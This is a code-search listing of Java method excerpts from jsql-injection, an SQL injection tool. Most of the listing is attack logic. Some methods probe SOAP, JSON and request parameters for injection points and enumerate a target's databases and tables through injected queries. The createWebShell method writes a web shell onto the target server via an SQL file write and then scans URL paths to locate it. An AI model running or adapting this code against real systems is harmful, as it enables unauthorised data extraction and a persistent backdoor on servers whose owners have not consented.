Search in sources :

Example 6 with JSqlException

use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.

the class SoapUtil method injectTextNodes.

public static boolean injectTextNodes(Document doc, Node node) {
    NodeList nodeList = node.getChildNodes();
    boolean hasFoundInjection = false;
    for (int i = 0; i < nodeList.getLength(); i++) {
        Node currentNode = nodeList.item(i);
        if (currentNode.getNodeType() == Node.ELEMENT_NODE) {
            // calls this method for all the children which is Element
            hasFoundInjection = SoapUtil.injectTextNodes(doc, currentNode);
            if (hasFoundInjection) {
                break;
            }
        } else if (currentNode.getNodeType() == Node.TEXT_NODE) {
            SoapUtil.deleteInjectionPoint(doc, doc.getDocumentElement());
            currentNode.setTextContent(currentNode.getTextContent() + InjectionModel.STAR);
            ParameterUtil.initRequest(SoapUtil.convertDocumentToString(doc));
            try {
                LOGGER.info("Checking SOAP Request injection for " + currentNode.getParentNode().getNodeName() + "=" + currentNode.getTextContent().replace(InjectionModel.STAR, ""));
                MediatorModel.model().testParameters(MethodInjection.REQUEST, ParameterUtil.getRequestAsText(), null);
                hasFoundInjection = true;
                // Injection successful
                break;
            } catch (JSqlException e) {
                // Injection failure
                LOGGER.warn("No SOAP Request injection for " + currentNode.getParentNode().getNodeName() + "=" + currentNode.getTextContent().replace(InjectionModel.STAR, ""), e);
            } finally {
            // // Erase * at the end of each params
            // params.stream().forEach(e -> e.setValue(e.getValue().replaceAll(Pattern.quote(InjectionModel.STAR) +"$", "")));
            // 
            // // Erase * from JSON if failure
            // if (!hasFoundInjection) {
            // paramStar.setValue(paramStar.getValue().replace("*", ""));
            // }
            }
        }
    }
    return hasFoundInjection;
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) NodeList(org.w3c.dom.NodeList) Node(org.w3c.dom.Node)

Example 7 with JSqlException

use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.

the class InjectionModel method testParameters.

/**
 * Verify if injection works for specific Method using 3 modes: standard (last param), injection point
 * and full params injection. Special injections like JSON and SOAP are checked.
 * @param methodInjection currently tested (Query, Request or Header)
 * @param paramsAsString to verify if contains injection point
 * @param params from Query, Request or Header as a list of key/value to be tested for insertion character ;
 * Mode standard: last param, mode injection point: no test, mode full: every params.
 * @return true if injection didn't failed
 * @throws JSqlException when no params' integrity, process stopped by user, or injection failure
 */
public boolean testParameters(MethodInjection methodInjection, String paramsAsString, List<SimpleEntry<String, String>> params) throws JSqlException {
    boolean hasFoundInjection = false;
    // or method is selected by user.
    if (!PreferencesUtil.isCheckingAllParam() && ConnectionUtil.getMethodInjection() != methodInjection) {
        return hasFoundInjection;
    }
    // Force injection method of model to current running method
    ConnectionUtil.setMethodInjection(methodInjection);
    // Default injection: last param tested only and no injection point
    if (!methodInjection.isCheckingAllParam() && !paramsAsString.contains(InjectionModel.STAR)) {
        // Injection point defined on last parameter
        params.stream().reduce((a, b) -> b).ifPresent(e -> e.setValue(e.getValue() + InjectionModel.STAR));
        // Will check param value by user.
        // Notice options 'Inject each URL params' and 'inject JSON' must be checked both
        // for JSON injection of last param
        hasFoundInjection = this.testStrategies(IS_PARAM_BY_USER, !IS_JSON, params.stream().reduce((a, b) -> b).get());
    // Injection by injection point
    } else if (paramsAsString.contains(InjectionModel.STAR)) {
        LOGGER.info("Checking single " + methodInjection.name() + " parameter with injection point at *");
        // Will keep param value as is,
        // Does not test for insertion character (param is null)
        hasFoundInjection = this.testStrategies(!IS_PARAM_BY_USER, !IS_JSON, null);
    // Injection of every params: isCheckingAllParam() == true.
    // Params are tested one by one in two loops:
    // - inner loop erases * from previous param
    // - outer loop adds * to current param
    } else {
        // inner loop will erase mark * otherwise
        for (SimpleEntry<String, String> paramBase : params) {
            // For standard value mark * is simply added to the end of its value.
            for (SimpleEntry<String, String> paramStar : params) {
                if (paramStar == paramBase) {
                    // Will test if current value is a JSON entity
                    Object jsonEntity = null;
                    try {
                        // Test for JSON Object: {...}
                        jsonEntity = new JSONObject(paramStar.getValue());
                    } catch (JSONException exceptionJSONObject) {
                        try {
                            // Test for JSON Array: [...]
                            jsonEntity = new JSONArray(paramStar.getValue());
                        } catch (JSONException exceptionJSONArray) {
                        // Not a JSON entity
                        }
                    }
                    // Define a tree of JSON attributes with path as the key: root.a => value of a
                    List<SimpleEntry<String, String>> attributesJson = JsonUtil.loopThroughJson(jsonEntity, "root", null);
                    // Marks * are erased between each tests.
                    if (PreferencesUtil.isCheckingAllJSONParam() && !attributesJson.isEmpty()) {
                        // Loop through each JSON values
                        for (SimpleEntry<String, String> parentXPath : attributesJson) {
                            // Erase previously defined *
                            JsonUtil.loopThroughJson(jsonEntity, "root", null);
                            // Add * to current parameter's value
                            JsonUtil.loopThroughJson(jsonEntity, "root", parentXPath);
                            // Replace param value by marked one.
                            // paramStar and paramBase are the same object
                            paramStar.setValue(jsonEntity.toString());
                            try {
                                LOGGER.info("Checking JSON " + methodInjection.name() + " parameter " + parentXPath.getKey() + "=" + parentXPath.getValue().replace(InjectionModel.STAR, ""));
                                // Test current JSON value marked with * for injection
                                // Keep original param
                                hasFoundInjection = this.testStrategies(IS_PARAM_BY_USER, IS_JSON, paramBase);
                                // Injection successful
                                break;
                            } catch (JSqlException e) {
                                // Injection failure
                                LOGGER.warn("No " + methodInjection.name() + " injection found for JSON " + methodInjection.name() + " parameter " + parentXPath.getKey() + "=" + parentXPath.getValue().replace(InjectionModel.STAR, ""), e);
                            } finally {
                                // Erase * at the end of each params
                                params.stream().forEach(e -> e.setValue(e.getValue().replaceAll(Pattern.quote(InjectionModel.STAR) + "$", "")));
                                // Erase * from JSON if failure
                                if (!hasFoundInjection) {
                                    paramStar.setValue(paramStar.getValue().replace("*", ""));
                                }
                            }
                        }
                    // Standard non JSON injection
                    } else {
                        // Add * to end of value
                        paramStar.setValue(paramStar.getValue() + InjectionModel.STAR);
                        try {
                            LOGGER.info("Checking " + methodInjection.name() + " parameter " + paramBase.getKey() + "=" + paramBase.getValue().replace(InjectionModel.STAR, ""));
                            // Test current standard value marked with * for injection
                            // Keep original param
                            hasFoundInjection = this.testStrategies(IS_PARAM_BY_USER, !IS_JSON, paramBase);
                            // Injection successful
                            break;
                        } catch (JSqlException e) {
                            // Injection failure
                            LOGGER.warn("No " + methodInjection.name() + " injection found for parameter " + paramBase.getKey() + "=" + paramBase.getValue().replace(InjectionModel.STAR, "") + " (" + e.getMessage() + ")", e);
                        } finally {
                            // Erase * at the end of each params
                            params.stream().forEach(e -> e.setValue(e.getValue().replaceAll(Pattern.quote(InjectionModel.STAR) + "$", "")));
                        }
                    }
                }
            }
            // If injection successful then add * at the end of value
            if (hasFoundInjection) {
                paramBase.setValue(paramBase.getValue().replace("*", "") + "*");
                break;
            }
        }
    }
    return hasFoundInjection;
}
Also used : HttpURLConnection(java.net.HttpURLConnection) LoginException(javax.security.auth.login.LoginException) URL(java.net.URL) ParameterUtil(com.jsql.util.ParameterUtil) SuspendableGetCharInsertion(com.jsql.model.suspendable.SuspendableGetCharInsertion) StringUtils(org.apache.commons.lang3.StringUtils) StrategyInjection(com.jsql.model.injection.strategy.StrategyInjection) Logger(org.apache.log4j.Logger) InjectionFailureException(com.jsql.model.exception.InjectionFailureException) JSONException(org.json.JSONException) Matcher(java.util.regex.Matcher) JSONObject(org.json.JSONObject) DataOutputStream(java.io.DataOutputStream) Document(org.w3c.dom.Document) JsonUtil(com.jsql.model.injection.JsonUtil) Map(java.util.Map) I18n(com.jsql.i18n.I18n) MethodInjection(com.jsql.model.injection.method.MethodInjection) ThreadUtil(com.jsql.util.ThreadUtil) EnumMap(java.util.EnumMap) HeaderUtil(com.jsql.util.HeaderUtil) SuspendableGetVendor(com.jsql.model.suspendable.SuspendableGetVendor) JSqlException(com.jsql.model.exception.JSqlException) GSSException(org.ietf.jgss.GSSException) Interaction(com.jsql.model.bean.util.Interaction) List(java.util.List) Stream(java.util.stream.Stream) Pattern(java.util.regex.Pattern) ShowOnConsole(com.jsql.util.GitUtil.ShowOnConsole) PreferencesUtil(com.jsql.util.PreferencesUtil) Vendor(com.jsql.model.injection.vendor.Vendor) SpnegoHttpURLConnection(net.sourceforge.spnego.SpnegoHttpURLConnection) Header(com.jsql.model.bean.util.Header) Request(com.jsql.model.bean.util.Request) Charset(java.nio.charset.Charset) ConnectionUtil(com.jsql.util.ConnectionUtil) DataAccess(com.jsql.model.accessible.DataAccess) SimpleEntry(java.util.AbstractMap.SimpleEntry) ProxyUtil(com.jsql.util.ProxyUtil) PrivilegedActionException(java.security.PrivilegedActionException) MalformedURLException(java.net.MalformedURLException) Files(java.nio.file.Files) IOException(java.io.IOException) Paths(java.nio.file.Paths) RessourceAccess(com.jsql.model.accessible.RessourceAccess) SoapUtil(com.jsql.model.injection.SoapUtil) StrategyInjectionNormal(com.jsql.model.injection.strategy.StrategyInjectionNormal) JSONArray(org.json.JSONArray) AuthenticationUtil(com.jsql.util.AuthenticationUtil) JSqlException(com.jsql.model.exception.JSqlException) JSONObject(org.json.JSONObject) SimpleEntry(java.util.AbstractMap.SimpleEntry) JSONArray(org.json.JSONArray) JSONException(org.json.JSONException) JSONObject(org.json.JSONObject) List(java.util.List)

Example 8 with JSqlException

use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.

the class DataAccess method listDatabases.

/**
 * Get database names and table counts and send them to the view.<br>
 * Use readable text (not hexa) and parse this pattern:<br>
 * => hh[database name 1]jj[table count]hhgghh[database name 2]jj[table count]hhggh...hi<br>
 * Data window can be cut before the end of the request but the process helps to obtain
 * the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
 * @return list of databases found
 * @throws JSqlException when injection failure or stopped by user
 */
public static List<Database> listDatabases() throws JSqlException {
    LOGGER.trace(I18n.valueByKey("LOG_FETCHING_DATABASES"));
    List<Database> databases = new ArrayList<>();
    String resultToParse = "";
    try {
        String[] sourcePage = { "" };
        resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlDatabases(), sourcePage, true, 0, null);
    } catch (SlidingException e) {
        LOGGER.warn(e.getMessage(), e);
        // Get pieces of data already retreived instead of losing them
        if (!"".equals(e.getSlidingWindowAllRows())) {
            resultToParse = e.getSlidingWindowAllRows();
        } else if (!"".equals(e.getSlidingWindowCurrentRows())) {
            resultToParse = e.getSlidingWindowCurrentRows();
        }
    } catch (Exception e) {
        LOGGER.warn(e.getMessage(), e);
    }
    // Parse all data we have retrieved
    Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
    if (!regexSearch.find()) {
        throw new InjectionFailureException();
    }
    regexSearch.reset();
    // Build an array of Database objects from the data we have parsed
    while (regexSearch.find()) {
        String databaseName = regexSearch.group(1);
        String tableCount = regexSearch.group(2);
        Database newDatabase = new Database(databaseName, tableCount);
        databases.add(newDatabase);
    }
    Request request = new Request();
    request.setMessage(Interaction.ADD_DATABASES);
    request.setParameters(databases);
    MediatorModel.model().sendToViews(request);
    return databases;
}
Also used : SlidingException(com.jsql.model.exception.SlidingException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) Matcher(java.util.regex.Matcher) AbstractElementDatabase(com.jsql.model.bean.database.AbstractElementDatabase) Database(com.jsql.model.bean.database.Database) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) SlidingException(com.jsql.model.exception.SlidingException) IgnoreMessageException(com.jsql.model.exception.IgnoreMessageException) JSqlException(com.jsql.model.exception.JSqlException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException)

Example 9 with JSqlException

use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.

the class DataAccess method listTables.

/**
 * Get tables name and row count and send them to the view.<br>
 * Use readable text (not hexa) and parse this pattern:<br>
 * => hh[table name 1]jj[rows count]hhgghh[table name 2]jj[rows count]hhggh...hi<br>
 * Data window can be cut before the end of the request but the process helps to obtain
 * the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
 * @param database which contains tables to find
 * @return list of tables found
 * @throws JSqlException when injection failure or stopped by user
 */
public static List<Table> listTables(Database database) throws JSqlException {
    // Reset stoppedByUser if list of Databases is partial
    // and some Tables are still reachable
    MediatorModel.model().setIsStoppedByUser(false);
    List<Table> tables = new ArrayList<>();
    // Inform the view that database has just been used
    Request requestStartProgress = new Request();
    requestStartProgress.setMessage(Interaction.START_PROGRESS);
    requestStartProgress.setParameters(database);
    MediatorModel.model().sendToViews(requestStartProgress);
    String tableCount = Integer.toString(database.getChildCount());
    String resultToParse = "";
    try {
        String[] pageSource = { "" };
        resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlTables(database), pageSource, true, Integer.parseInt(tableCount), database);
    } catch (SlidingException e) {
        LOGGER.warn(e.getMessage(), e);
        // Get pieces of data already retreived instead of losing them
        if (!"".equals(e.getSlidingWindowAllRows())) {
            resultToParse = e.getSlidingWindowAllRows();
        } else if (!"".equals(e.getSlidingWindowCurrentRows())) {
            resultToParse = e.getSlidingWindowCurrentRows();
        }
    } catch (Exception e) {
        LOGGER.warn(e.getMessage(), e);
    }
    // Parse all the data we have retrieved
    Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
    Request requestEndProgress = new Request();
    requestEndProgress.setMessage(Interaction.END_PROGRESS);
    requestEndProgress.setParameters(database);
    MediatorModel.model().sendToViews(requestEndProgress);
    if (!regexSearch.find()) {
        throw new InjectionFailureException();
    }
    regexSearch.reset();
    // Build an array of Table objects from the data we have parsed
    while (regexSearch.find()) {
        String tableName = regexSearch.group(1);
        String rowCount = regexSearch.group(2);
        Table newTable = new Table(tableName, rowCount, database);
        tables.add(newTable);
    }
    Request requestAddTables = new Request();
    requestAddTables.setMessage(Interaction.ADD_TABLES);
    requestAddTables.setParameters(tables);
    MediatorModel.model().sendToViews(requestAddTables);
    return tables;
}
Also used : Table(com.jsql.model.bean.database.Table) SlidingException(com.jsql.model.exception.SlidingException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) Matcher(java.util.regex.Matcher) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) SlidingException(com.jsql.model.exception.SlidingException) IgnoreMessageException(com.jsql.model.exception.IgnoreMessageException) JSqlException(com.jsql.model.exception.JSqlException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException)

Example 10 with JSqlException

use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.

the class RessourceAccess method createWebShell.

/**
 * Create a webshell in the server.
 * @param pathShell Remote path othe file
 * @param url
 * @throws InterruptedException
 * @throws InjectionFailureException
 * @throws StoppedByUserSlidingException
 */
public static void createWebShell(String pathShell, String urlShell) throws JSqlException, InterruptedException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.web").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
    String pathShellFixed = pathShell;
    if (!pathShellFixed.matches(".*/$")) {
        pathShellFixed += "/";
    }
    MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_WEBSHELL));
    String resultInjection;
    String[] sourcePage = { "" };
    try {
        resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_WEBSHELL), sourcePage, false, 1, null);
        if ("".equals(resultInjection)) {
            throw new JSqlException("payload integrity verification: Empty payload");
        }
    } catch (JSqlException e) {
        throw new JSqlException("injected payload does not match source", e);
    }
    if (!urlShell.isEmpty()) {
        urlShell = urlShell.replaceAll("/*$", "") + "/";
    }
    String url = urlShell;
    if ("".equals(url)) {
        url = ConnectionUtil.getUrlBase();
    }
    if (resultInjection.indexOf(sourceShellToInject) > -1) {
        LOGGER.debug("Web payload created into \"" + pathShellFixed + FILENAME_WEBSHELL + "\"");
        // 
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
        String urlProtocol;
        if ("/".equals(urlWithoutProtocol)) {
            urlProtocol = url.replaceAll("/+$", "");
        } else {
            urlProtocol = url.replace(urlWithoutProtocol, "");
        }
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
        List<String> directoryNames = new ArrayList<>();
        if (urlWithoutFileName.split("/").length == 0) {
            directoryNames.add("/");
        }
        for (String directoryName : urlWithoutFileName.split("/")) {
            directoryNames.add(directoryName + "/");
        }
        ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateWebShell"));
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
        StringBuilder urlPart = new StringBuilder();
        for (String segment : directoryNames) {
            urlPart.append(segment);
            taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_WEBSHELL));
        }
        int submittedTasks = directoryNames.size() * 1;
        int tasksHandled;
        String urlSuccess = null;
        for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
            try {
                CallableHttpHead currentCallable = taskCompletionService.take().get();
                if (currentCallable.isHttpResponseOk()) {
                    urlSuccess = currentCallable.getUrl();
                    if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
                        LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
                    } else {
                        LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
                    }
                } else {
                    LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
                }
            } catch (InterruptedException | ExecutionException e) {
                LOGGER.error("Interruption while checking Web shell", e);
            }
        }
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
        if (urlSuccess != null) {
            Request request = new Request();
            request.setMessage(Interaction.CREATE_SHELL_TAB);
            request.setParameters(pathShellFixed.replace(FILENAME_WEBSHELL, ""), urlSuccess);
            MediatorModel.model().sendToViews(request);
        } else {
            LOGGER.warn("HTTP connection to Web payload not found");
        }
    } else {
        throw new JSqlException("Incorrect Web payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
    }
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) ExecutionException(java.util.concurrent.ExecutionException)

Aggregations

JSqlException (com.jsql.model.exception.JSqlException)10 Request (com.jsql.model.bean.util.Request)9 SuspendableGetRows (com.jsql.model.suspendable.SuspendableGetRows)7 InjectionFailureException (com.jsql.model.exception.InjectionFailureException)6 ArrayList (java.util.ArrayList)6 Matcher (java.util.regex.Matcher)5 IgnoreMessageException (com.jsql.model.exception.IgnoreMessageException)4 SlidingException (com.jsql.model.exception.SlidingException)4 AbstractElementDatabase (com.jsql.model.bean.database.AbstractElementDatabase)2 Database (com.jsql.model.bean.database.Database)2 Table (com.jsql.model.bean.database.Table)2 Header (com.jsql.model.bean.util.Header)2 ThreadFactoryCallable (com.jsql.model.suspendable.callable.ThreadFactoryCallable)2 IOException (java.io.IOException)2 HttpURLConnection (java.net.HttpURLConnection)2 MalformedURLException (java.net.MalformedURLException)2 URL (java.net.URL)2 I18n (com.jsql.i18n.I18n)1 DataAccess (com.jsql.model.accessible.DataAccess)1 RessourceAccess (com.jsql.model.accessible.RessourceAccess)1